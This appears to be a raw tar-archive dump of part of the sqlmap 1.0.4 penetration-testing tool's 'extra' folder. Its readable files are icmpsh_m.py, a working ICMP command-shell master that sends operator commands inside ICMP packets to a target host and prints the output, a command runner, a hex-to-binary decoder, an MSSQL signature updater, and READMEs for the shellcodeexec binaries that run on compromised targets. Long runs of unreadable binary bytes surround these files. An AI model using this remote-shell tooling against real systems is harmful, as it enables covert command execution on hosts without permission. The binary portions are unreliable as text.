8°>ǯ¼´}ÐF0§k2öÚ|áÞ?{é=Š 6‘? x•Œy¢ÚQJ¡†–«˜¬c(§Új4¨Ô\Eø-çð q3üe8ê3 ~°i':Ãg¯ÕZHHOâª-o¸FUÅm^à‡þs÷Æl±U ƒ¤Å*J´%ŠÄ bo˜ï(Ö†)‰bo4/`‡£àš€Æz_þÊ%jº€uO•TZ»´µÊë=‘w´- z£Š„ãB‘_a¦äÍà¢Yo§«·‡\UR¶>wÉÁžgÙÜ (" 4téu?"w Ä}^©TfrÒO–)=¿D±•kvY}‰Ý¥[f2?8>ÍÄ¢ ª"n;< Ç’-+RÁpÁ׈#E …õagb -H9wôÔ‹ÄÇpõ| XÆ3u-|g hW³qâ±Ô¢(_m‰z‘£(zV»©GB~‚BÈz]ÛÁÉÖÞØ/5%l±_q¾"~2Âï$™üo Ê‰;S±1Ú¢y=èP‰/(„4ú)*Ý (rµ†ã]l#¯)ùÉ­(ûÉ>HÒI8Ùš¾©ûVäÿsîpÁ½¶óKJÝãÚ%,íÚÚ¶D$£Ó–Ú»Ißx~×j­Xƒ]®Xÿ‚9͆rK"T8‘HV›I‘›(Áäµ: ¡ ?ÓÔ{í·ŽjÚõ "Ýûà¯Dg¤v† (¸ûádd` ÔM”%€©tm ‡ªÔ½è‹ÒÊ(4Ú|($µ5º ƒ+ÿ˜¤‹—¿ÃÌŸx`#€òi%ˆúÀåÛ^7Ã9^‚ qÒ{¤f×67Z¤e7rü¶>ꃴpÒÁ1,ÖOä8^>e‡ ~Òs¤F7aÐÍx©u-r¤Õe^J<´r-w-cÒa7x‚CEºÈÆ/w\\^ב¦73,HÁÒxLc^„2GI‘·ÝW³.¿nŸ^ 'çkWÿT¹Bcå} ´:J^2QW·{Kq=aÄMIÝÈÖ”(ê¹±…͊ЦÙ›]ˆêI¦k=ž ·©EÓ k¦ªÞŽA=„ô­Ña%l’û‚Us¡‘®}S™ ·:+J1! ·«‰ÞÔK‰›tî4„ùcB.kØŒôy€ZÑ­‘õ/ŽTŠeÝf1_Î ° hžT>Ý$¡¬áânTúæ³Ý;vªà^Ì0mZcƒ¾ú¨4‰:F¿t›OvËÜÎ'=XÕЈ·¹yò±wŒ|(([©õ_íýî®]cÕ»_ÿ~hSÿð?êHÖ÷¹úqÆþÌ|}æÿÊ9†Ü%¸Deˆþ“ͬèëéƒò–»åi¾œÂ*Ùñö¦!O¡dÒÿ ý±! " glüØê šë >·®©tEùŒ£6Q]‘}(&ïsŒ‡-JÇwâ¦kü ÒŸ¥W ˜kASã&Š-ŠtxôBœX)ð,-¹V0q4ùÉXÚ}—÷²Þ¸Úêr2‡2—Ý\$^íLKÌ…Å Cˆ*µÏ0 )çcC#çd²Eã“„Ö,«Ù 9ž¡z )’% d˜Aá±öhÎÕ9Ǥà—\`².ArÉ ”í>œ«²¿ØÙƒ<&`Ünd¼^aÜLÎÁá*?âÀ *1­Í¬4[Ö˜¡ ¼ÌÐF‡A‚ÎFôáE4ña#Õ‡®¦=9``&܇¦AF æúÜ–Õ8ïÓíêä©Ïåý,0i÷04)Ÿ¸¦Y<±Ú„u«­©Ô7)Ÿ…8¥©L ,‰SîÃH¢óÄÒ§5(2½©PkË¥êÃtèŒhakÉò­gÎ%.S¢¿Í)¨&TàVuÇ·ø¦*q‰×±‡¤SERxÒè]–þgÒ3™¹i°¹¤µÜûÖ Cb å]¶d„h²Ý YØ»äM8ê a®Ï'ùâ£ÀG¼»/ ø³ú¸ ú§cÚâ9I5ÁSÆÊh!—|ú¹ "¾ÏÅqÿ² ðð8)<56ºØÒäkWIž>Ôçuï˜Þf'(PâcžçÞÈè’;aAϽáEVðÄl±1ìÁ¯ø˜A:[{›t¬A4É9”Ïй)IJœÁ!¬xãÑıY‹8Ë$ÅÂëŸ#yÖÂó¡©Ïbð¿ð·¢*ZÇmZ‹ wD…! Ë¥}¦(– ,³Ë>gYqÊÍLîSåR¡Ïuèëzô<}ú¸€îÏt½Ìã;hÐ8zôª‚·xwè›{ô\}úÜÛûœà¿€þ¸€>?Ít%?oЇ{ô.~½\PôÁó}úF~Ðïñ¼Ð{Ûdzôƒ}ú˜û¾¼ÐB‚íR}ú.~Ý\ØA”h9°½!?3?`i`Ît½>°€!?@_ØAšhº0?ßY @V ×wè¡(tè^~3?iÐÇó=¯nÐ\}úf~›€A‘hº[ ÷wè§{ôi~YPôÕ}ºQ tè~SÍx¥€ahПlÐ<}ºPP ¯€ÞU @^ û{ VPô5~ý~~ý˜€¾%?¯Ït½5?ïoÐtèYE5ªÏAZ z ÐB¶õ;|½7MçÌQ½XfÝÁ%Föv4ûÅÚ5<`(ZÕ^xÏ2«rr  Áý €SÀÃýóåzüó°½áÅ… æ¶ï$Üö$eøRnœ ½©ÈC\¬Â*=êÄf™ÛĽ !è8{ô&X)<«€5ˆçŽ¼Ð`hЧzô2}ú°€aÏtý”€!VAQ ûŽ !èÃ}úŒ‹€AUØA”hú^~B\ Htè<}ú!èÇ{ ¯àù€!VKPôXz €Þ^ l~SPô.~wèpwèL‚çÇó=@Q —vèB}û;!è}º0?wèr}ú3!èç{ôe~Ÿ€/?ǯ&ÞCú }µ€ÞX ÷vè¾¼ÐÇz 6?ß\ ïlÐ¥¼ÐŸoÐPF±e¶vèl=Ì×ç…+?ŸlÐÛzô âžRPôƒ}úz~ÝP ïHÑùÎêßÞÀÎÓ”ìCR'ÆAáªßÝΓgètìCX²C—ß® ˆ‡ûçDçùD´½ÿâ Ý´òrìCÏdñãU¿¬í@ RüBþ“Qà Á0­2ÿ#þ@‹þvê±{…²'â÷)u@ÈÄA2J¾ÿ¦‹ýî4~Õ?áx‰†CP»ð ˜Çgå—/MöIŒ-Ê¿ V(ÃRÂõ~Éì˜lÿǼm›’dŸEeC2ŠÉó·ù#ÀWG£p ÿOÊX¹AYÏ@ºÍBR£C|Hãf„.þ|ÆCÆWÿr·)dúTó± CkPGÚÖFb–’…ç–}ó’g¥­À©¡%·Œò/¹X”þ} ÌWŸiäàÜXÅW mžRO÷%Œò}/e–þ¸€ýÖ6™x5³vg*£#ÇÙhµaŒáÕêúoßVŸ°é“ôgŸ½d‘ÐpkrëLa ¿uN¶,2 ÆKÕ<ÿ‚ÇûH€-“ó<ù´ÅW@l%ýyWÙ)ŠmŠ;k…ZÅ’=â 7?·Õj²`MVdT¿¥jýZY›ºuÍç}9Ùv”¦AüÈà¸ÍiÚ9·”©•gêdR zmÝ>æ@Ó‡ UKŸ…få;¡FNÊ·tÏÌrÉÿz”.›œÿz5‡RÂPjšß¬N5&n^3ø±6ɦóD‹'š’¯PMÏ¥OÊ:Öa+ø‘Ëú¬c°”ž–·”YTôÆ19NZR %n}Š±û”¿Sßþd!‡3ÓSŒç,Àl±ÅÆá]–Jûb߆î±ñœU Î[øm»ÏÆL"AÃ}ºa, z>Ôˆ8PçáÇ6D²B¨ð|©l¶Aý ‘ )Ç«¤g¼<¯UIÔŒ²eWdÏEðÄp‹­žÇ4R‘ò?ÀôUDË@¹JK¤˜ý´˜Ù ŸRI@Räñs”Mdå$}ú÷€ýu”­Õc/ª”å!YÃÔùY¯ùÅŒ`aKÚFÅŒrÅÿØjyŠÃÚåJ÷¢Œ’â sÿУÇüÛcŸL}}WÕ¶)¯½-'Â×ÏôüÒmóù‚¯q?ñšBÈÏRÏØK¼©ÄY”Û4œT7p/Œ"cÈ¡xÂýrÄÖêZÎAý{/†²eþv£6:JΘTìÐ};áv¢´—Ò´¥½2p[ôœ0´–ït8ï ˆVÚƒ‘x•k¶$°¥uìŠU%e‰o…½£àV4Zw'.jˆÆdE”3k¹7v©r§«ø¾‰’79ñÝM…a%ƒ!2àŒÂq€nulq;ðÅ\ŽŽçn|nZ;H…ImÛX%ÀÕ9šqD$zßœÁ÷)kr¶ºáA™9á¯VɨÚh(ƒEƒ³ó ƒ=¡"•'çƒÀ¡ôYl#(Ï7Ñ %·†€”® ²<Ý"·–iWý9.”iÖ©C-_›õRµyV$¶ÞݾùQ&“·Iߣ‘$î-%I·µÃk§Wðµ’B¥ÏË–HZ ã9#Ñ°pd¥¹ýžR1nüп€(&ß‹ð׶—œƒsw2¶NÕÇ8 šÁ¾H{Óã·¼LPy2/!¶Ä6“G' ¤ã—’ïPѦJDp†<ÜØýÉfØîÌgŒ¹EÎi ÎvPÇ{¼•´°% ͱ8º þÐRþOçvl‰ꅉж´ðηUZŠÓw›I‘ísjyŒŸ=˜|Á6šF–:¸Å·ŽF}('º»]RdS¸ÚmÍÉÆiR&çÅìÐÚ¡Y4€TÖ~>AúØÍBé²E>*XßdBp¶h¡ zɵG‡¯gÊ‹Ï‹I˲˕nU¼Û¨]ø%@ù‡>Þâsqlmap-1.0.4/extra/icmpsh/icmpsh_m.py000066400000000000000000000105431270044205500175720ustar00rootroot00000000000000#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import select import socket import subprocess import sys def setNonBlocking(fd): """ Make a file descriptor non-blocking """ import fcntl flags = fcntl.fcntl(fd, fcntl.F_GETFL) flags = flags | os.O_NONBLOCK fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): if subprocess.mswindows: sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') sys.exit(255) # Make standard input a non-blocking file stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) # Open one socket for ICMP protocol # A special option is set on the socket so that IP headers are included # with the returned data try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') sys.exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while True: cmd = '' # Wait for incoming replies if sock in select.select([ sock ], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # Get identifier and sequence number ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: sys.stdout.write(data) # Parse command from standard input try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': return # Set sequence number and identifier icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(cmd)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) # Send it to the target host sock.sendto(ip.get_packet(), (dst, 0)) if __name__ == '__main__': if len(sys.argv) < 3: msg = 'missing mandatory options. Execute as root:\n' msg += './icmpsh-m.py \n' sys.stderr.write(msg) sys.exit(1) main(sys.argv[1], sys.argv[2]) sqlmap-1.0.4/extra/mssqlsig/000077500000000000000000000000001270044205500157755ustar00rootroot00000000000000sqlmap-1.0.4/extra/mssqlsig/update.py000066400000000000000000000120031270044205500176250ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import os import re import urllib2 import urlparse from xml.dom.minidom import Document # Path to the XML file with signatures MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml") # Url to update Microsoft SQL Server XML versions file from MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" def updateMSSQLXML(): if not os.path.exists(MSSQL_XML): errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML print errMsg return infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL print infoMsg try: req = urllib2.Request(MSSQL_VERSIONS_URL) f = urllib2.urlopen(req) mssqlVersionsHtmlString = f.read() f.close() except urllib2.URLError: __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) __mssqlHostname = __mssqlPath[1] warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname warnMsg += " check your Internet connection and retry" print warnMsg return releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I | re.M) releasesCount = len(releases) # Create the minidom document doc = Document() # Create the base element root = doc.createElement("root") doc.appendChild(root) for index in xrange(0, releasesCount): release = releases[index] # Skip Microsoft SQL Server 6.5 because the HTML # table is in another format if release == "6.5": continue # Create the base element signatures = doc.createElement("signatures") signatures.setAttribute("release", release) root.appendChild(signatures) startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index]) if index == releasesCount - 1: stopIdx = len(mssqlVersionsHtmlString) else: stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] servicepackVersion = re.findall("[7\.0|2000|2005|2008|2008 R2]*(.*?)[\r]*\n", mssqlVersionsReleaseString, re.I | re.M) for servicePack, version in servicepackVersion: if servicePack.startswith(" "): servicePack = servicePack[1:] if "/" in servicePack: servicePack = servicePack[:servicePack.index("/")] if "(" in servicePack: servicePack = servicePack[:servicePack.index("(")] if "-" in servicePack: servicePack = servicePack[:servicePack.index("-")] if "*" in servicePack: servicePack = servicePack[:servicePack.index("*")] if servicePack.startswith("+"): servicePack = "0%s" % servicePack servicePack = servicePack.replace("\t", " ") servicePack = servicePack.replace("No SP", "0") servicePack = servicePack.replace("RTM", "0") servicePack = servicePack.replace("TM", "0") servicePack = servicePack.replace("SP", "") servicePack = servicePack.replace("Service Pack", "") servicePack = servicePack.replace(" element signature = doc.createElement("signature") signatures.appendChild(signature) # Create a element versionElement = doc.createElement("version") signature.appendChild(versionElement) # Give the elemenet some text versionText = doc.createTextNode(version) versionElement.appendChild(versionText) # Create a element servicepackElement = doc.createElement("servicepack") signature.appendChild(servicepackElement) # Give the elemenet some text servicepackText = doc.createTextNode(servicePack) servicepackElement.appendChild(servicepackText) # Save our newly created XML to the signatures file mssqlXml = codecs.open(MSSQL_XML, "w", "utf8") doc.writexml(writer=mssqlXml, addindent=" ", newl="\n") mssqlXml.close() infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML print infoMsg if __name__ == "__main__": updateMSSQLXML() sqlmap-1.0.4/extra/runcmd/000077500000000000000000000000001270044205500154235ustar00rootroot00000000000000sqlmap-1.0.4/extra/runcmd/README.txt000066400000000000000000000003401270044205500171160ustar00rootroot00000000000000Files in this folder can be used to compile auxiliary program that can be used for running command prompt commands skipping standard "cmd /c" way. They are licensed under the terms of the GNU Lesser General Public License. sqlmap-1.0.4/extra/runcmd/windows/000077500000000000000000000000001270044205500171155ustar00rootroot00000000000000sqlmap-1.0.4/extra/runcmd/windows/README.txt000066400000000000000000000004171270044205500206150ustar00rootroot00000000000000Compile only the Release version because the Runtime library option (Project Properties -> Configuration Properties -> C/C++ -> Code Generation) is set to "Multi-threaded (/MT)", which statically links everything into executable and doesn't compile Debug version at all. sqlmap-1.0.4/extra/runcmd/windows/runcmd.sln000066400000000000000000000015631270044205500211300ustar00rootroot00000000000000 Microsoft Visual Studio Solution File, Format Version 9.00 # Visual Studio 2005 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 Release|Win32 = Release|Win32 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal sqlmap-1.0.4/extra/runcmd/windows/runcmd/000077500000000000000000000000001270044205500204055ustar00rootroot00000000000000sqlmap-1.0.4/extra/runcmd/windows/runcmd/runcmd.cpp000066400000000000000000000025041270044205500224020ustar00rootroot00000000000000/* runcmd - a program for running command prompt commands Copyright (C) 2010 Miroslav Stampar email: miroslav.stampar@gmail.com This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "stdafx.h" #include using namespace std; int main(int argc, char* argv[]) { FILE *fp; string cmd; for( int count = 1; count < argc; count++ ) cmd += " " + string(argv[count]); fp = _popen(cmd.c_str(), "r"); if (fp != NULL) { char buffer[BUFSIZ]; while (fgets(buffer, sizeof buffer, fp) != NULL) fputs(buffer, stdout); } return 0; } sqlmap-1.0.4/extra/runcmd/windows/runcmd/runcmd.vcproj000066400000000000000000000106341270044205500231260ustar00rootroot00000000000000 sqlmap-1.0.4/extra/runcmd/windows/runcmd/stdafx.cpp000066400000000000000000000004451270044205500224050ustar00rootroot00000000000000// stdafx.cpp : source file that includes just the standard includes // runcmd.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file sqlmap-1.0.4/extra/runcmd/windows/runcmd/stdafx.h000066400000000000000000000010041270044205500220420ustar00rootroot00000000000000// stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #pragma once #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. #endif #include #include // TODO: reference additional headers your program requires here sqlmap-1.0.4/extra/safe2bin/000077500000000000000000000000001270044205500156245ustar00rootroot00000000000000sqlmap-1.0.4/extra/safe2bin/README.txt000066400000000000000000000011001270044205500173120ustar00rootroot00000000000000To use safe2bin.py you need to pass it the original file, and optionally the output file name. Example: $ python ./safe2bin.py -i output.txt -o output.txt.bin This will create an binary decoded file output.txt.bin. For example, if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will be decoded to: " test 234 newline" If you skip the output file name, general rule is that the binary file names are suffixed with the string '.bin'. So, that means that the upper example can also be written in the following form: $ python ./safe2bin.py -i output.txt sqlmap-1.0.4/extra/safe2bin/__init__.py000066400000000000000000000002261270044205500177350ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/extra/safe2bin/safe2bin.py000066400000000000000000000076711270044205500177020ustar00rootroot00000000000000#!/usr/bin/env python """ safe2bin.py - Simple safe(hex) to binary format converter Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii import re import string import os import sys from optparse import OptionError from optparse import OptionParser # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" # Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" # Characters that don't need to be safe encoded SAFE_CHARS = "".join(filter(lambda x: x not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', ''))) # Prefix used for hex encoded values HEX_ENCODED_PREFIX = r"\x" # Strings used for temporary marking of hex encoded prefixes (to prevent double encoding) HEX_ENCODED_PREFIX_MARKER = "__HEX_ENCODED_PREFIX__" # String used for temporary marking of slash characters SLASH_MARKER = "__SLASH__" def safecharencode(value): """ Returns safe representation of a given basestring value >>> safecharencode(u'test123') u'test123' >>> safecharencode(u'test\x01\x02\xff') u'test\\01\\02\\03\\ff' """ retVal = value if isinstance(value, basestring): if any(_ not in SAFE_CHARS for _ in value): retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) retVal = retVal.replace('\\', SLASH_MARKER) for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) retVal = retVal.replace(SLASH_MARKER, "\\\\") retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) elif isinstance(value, list): for i in xrange(len(value)): retVal[i] = safecharencode(value[i]) return retVal def safechardecode(value, binary=False): """ Reverse function to safecharencode """ retVal = value if isinstance(value, basestring): retVal = retVal.replace('\\\\', SLASH_MARKER) while True: match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) if match: retVal = retVal.replace(match.group("result"), (unichr if isinstance(value, unicode) else chr)(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) else: break for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: retVal = retVal.replace(repr(char).strip('\''), char) retVal = retVal.replace(SLASH_MARKER, '\\') if binary: if isinstance(retVal, unicode): retVal = retVal.encode("utf8") elif isinstance(value, (list, tuple)): for i in xrange(len(value)): retVal[i] = safechardecode(value[i]) return retVal def main(): usage = '%s -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.1') try: parser.add_option('-i', dest='inputFile', help='Input file') parser.add_option('-o', dest='outputFile', help='Output file') (args, _) = parser.parse_args() if not args.inputFile: parser.error('Missing the input file, -h for help') except (OptionError, TypeError), e: parser.error(e) if not os.path.isfile(args.inputFile): print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile sys.exit(1) f = open(args.inputFile, 'r') data = f.read() f.close() if not args.outputFile: args.outputFile = args.inputFile + '.bin' f = open(args.outputFile, 'wb') f.write(safechardecode(data)) f.close() if __name__ == '__main__': main() sqlmap-1.0.4/extra/shellcodeexec/000077500000000000000000000000001270044205500167425ustar00rootroot00000000000000sqlmap-1.0.4/extra/shellcodeexec/README.txt000066400000000000000000000004321270044205500204370ustar00rootroot00000000000000Binary files in this folder are data files used by sqlmap on the target system, but not executed on the system running sqlmap. They are licensed under the terms of the GNU Lesser General Public License and their source code is available on https://github.com/inquisb/shellcodeexec. sqlmap-1.0.4/extra/shellcodeexec/linux/000077500000000000000000000000001270044205500201015ustar00rootroot00000000000000sqlmap-1.0.4/extra/shellcodeexec/linux/shellcodeexec.x32_000066400000000000000000000032331270044205500234060ustar00rootroot00000000000000œµ(,k× O〉{‰é’1H — s{{]`“¡,öÁÇ?éÚ»ÝÖÑÞêiW#'5\‰{øx¢]^N~sš3I8?s3ôŸ™.´ËO^y@€ë îëîÊ7KÆFBïFçÏFïçBÛ×Ðô‚_wS߬ˆ‘äEWEëÁp–˜úæq)Åat™Ý>?èljƒ;/n¨c1Ê÷‹1¢ç›ÀÉg4¤À^n¦ÝÐbƒr䆢uç d'`„A؈9^lÙs]Â(^I‘‹æ±µ#,|†–`¿Gcì#cqÔ„ƒÑ+”Œ6 ¦¾Œç¾ñ•­­ÌN1AçÙœ—µÙG§ñ³ø%Ñ'xãÛO¥èAéçÁÂ#ŸçXQÈËåß;,iS' [ñþwÇ¿ÌåÏz,à œÛ—ù$ŽËX¦#Íå»c¿o+õ¶è¤¹Ìp\^[iõY* =õf–Ô04¹ŒH†IoŒ,6FÀäž Ê’]ê÷²52²®'âJi‰øâìr /x|ð:ù¯ˆPgÉÞ¤@iíd›I­$ï­“ÍJ¶ñßüŸüѾ•ñË‚Á‡wÓÍå¦÷;§b›¶lܹî^qH~âÐTÄN©O3œGI1ZŽÍë^ŽÍî\ŽßE­2»QæÈÇþ¡›G÷™ïèºÞ*RέI(‚O¹´#eÒ—Á7½²b¿K9¯¤3kꎘ!6fVd`JÊ3¡éŒpeM¨S_ù´^,¦uùø<¦Œ•U’gM®Ð§r™ SXFÈKl…Ž×øaˆžßpü¤ý £4«mï‡ZŸ–ŠtS÷qH3˜¿ Ý™!˜æ£–1SÒyÅpqÑk¯ž_–Vë¿ššgVY»ˆã0ôàe÷pª ÏÑÄÑV¹Wº6§mÆLwÔZæRç¶@1ݾ’Ý¡çÖ^¸IÉú%-«µë¥¡Ç (îéº÷Õot±Æ/:¶¼èöÈ.¡JÄ `Á¢r»´6à¢%ÑÒ¦§œÍ¹t/ê@3Ìrv^Öœûq¢/dQ›WA8—XT0 r›Ü]¦¯ï½ƒ3$°³™µ¢¶=ØH`N•à Ÿ_²¥µ›˜t­ah PꆎYا­pœª0°ìh0’fòö¹Íèî`úqðD(׳çhÀ6)£ßê‹ é¶" eÊyI¸™†-ONÓàc?裟n5dn)Ü4ü¨r— ì9æ™:î^\!Û;‘úvƒ0ê©I^꣙]ô,Hµ±×/Á¹"…3 µÈxΑñžØ'Uº )6-‘ÃS_ËB²ßµÊhŽT¾U]X‚þeF5†€ëÌšüd;Ë匿. 4>ÍšèÄÅ1þ†KâÝþóžaD{1ïû~Ü,_Ó›¸—™ïR„û£C›®èj{•dn’ ø§A|§÷ŠQÔCÎNÍØgü\µgå |üò~±ðvÿ8¾8ùþNÄúo yK}úaôTèiÈŽïëüƒ,'•Æ#¿¥«ƒÜfô:"õÒm©®Æ\ªÍQûœ7ã‘–¸ê—×A$$慠Xä„c–6¹ÚâÀ|x 4«ÿûÈÿR¥xE–’u¾fª¯“6Á¨UXâ3ŠÆ+&%»,êë-KZV¾¤Â¤?KÙdN¹šOR¯Ë‰OiY<9„LDñ°5Þñ’+¹x¿"oŠzª6²âí5ø]M“üS‘;“…üv\˜Pmô\?3J3æÈÎ[þ'[]8Õ ¶è¼Óù¤óÔ)‚†óRÿÍXƒãŒe7O€lF¯­Ühàez³®W¶àˆU?·Xw8÷ño÷(ˆšç7Gº§XDÍÌE8,JÔmÞ*Âѽ·™÷¹a+ èCQÝÇËè̷ĵå æb¦AÝãN›™ŸJQµí̬͌%s’ĩäBic½dÎ]Lyá5R¸_÷0èýy® † q'àÒÀbPÀnÅSGª¿"/æS…#¾†6&ô!Òø†¸²©óâyÎrÜêfšzhQŸ²&&Ž£½L ûôEHDÁÅ‹@÷¾z8`ûžxÄBÎç5G£æ·0ÕûcùÿØâêºYÇýþˆ1&ô½ Ü¿;R¸K‡¹ÿ…ùɦþx ºæðs©"Óë ÂB.wi!ÁóØý¸¿°z¾îsqlmap-1.0.4/extra/shellcodeexec/linux/shellcodeexec.x64_000066400000000000000000000036071270044205500234200ustar00rootroot00000000000000œÕ',×j¿¶l|t&tuÑâ19Je­V;¦zä?g×ÔªMu"+'bLj$ÿ›ý¼†‰µ‘CªB¥‘Ö¯›ò¡ ª*A-I­¦&d%:«£%± w²–iAkÞÎïœäùŽw¦6“ ¬çóÎïß½çžß÷½ç÷Ç¾í ¹{‹$ìn2·9SD=ð4Q€……hþ»ÄY±uì)‡ ;;š šíZ@pcR ‡Ô¤6nÌÚåЭÂV‘Y½ÝXš´oþZaÆeYCìdÖk‡ HóÜÄd]Þoù³ž¢À¦”ñµÐÑ:í ñ¸7û›¡#€s¢§ð#§† ¤6Z¿­uïDÀ$Zî#GÎx ÙáÞípä-B¹¡EÚLeîíéÝ®*ŠÚI«íqçîÀ8S· a(t1qœÅ2ACÈ Äí cÿ‰ ¿ÿiøýÜå°ß †HUøyÂ÷WG¯Ó~zß>~÷Uø¯7«ý’Þªà õo-ð_ŸÄãÇóÅ=¼¢XÊCQ’Gd½]BšÕ::Ph’¥l¢+ÕT],S@\òù;6C›Èê¥uÈè0ä]$o•l•±nxѽûâÛ´Úq«d·ò Áp纃¨ÌúÐã%LVœ@ç#ùvlË·²JaxîàpEðixa àÎûDâÀë$EðIxAàÀÐûc¸¬"ñIÞƒ“ÆOs«ñhH=¿óΘDAõt ó*ø ×bL´8Mÿ±v²ùMÚ˜ŠùSûmÚ˜‚ùº ;d‡A@Ùï¢<žŸ²ìߣ<Ÿ´ìHÐÆ^Î&ö&´NÜùm˜cèÓ¨áV#’µ¿RqcŽÎÖxÚ]=Ξd²Ô+£w„«““GIFÞPK[0Õ ·ùŽJ´6§c‘ÆX£ãØî^ðlÕ8Ïs?“ãdž;%;ãÜ œgKå΋•ÍëºÇ¬¼2ì 6£ 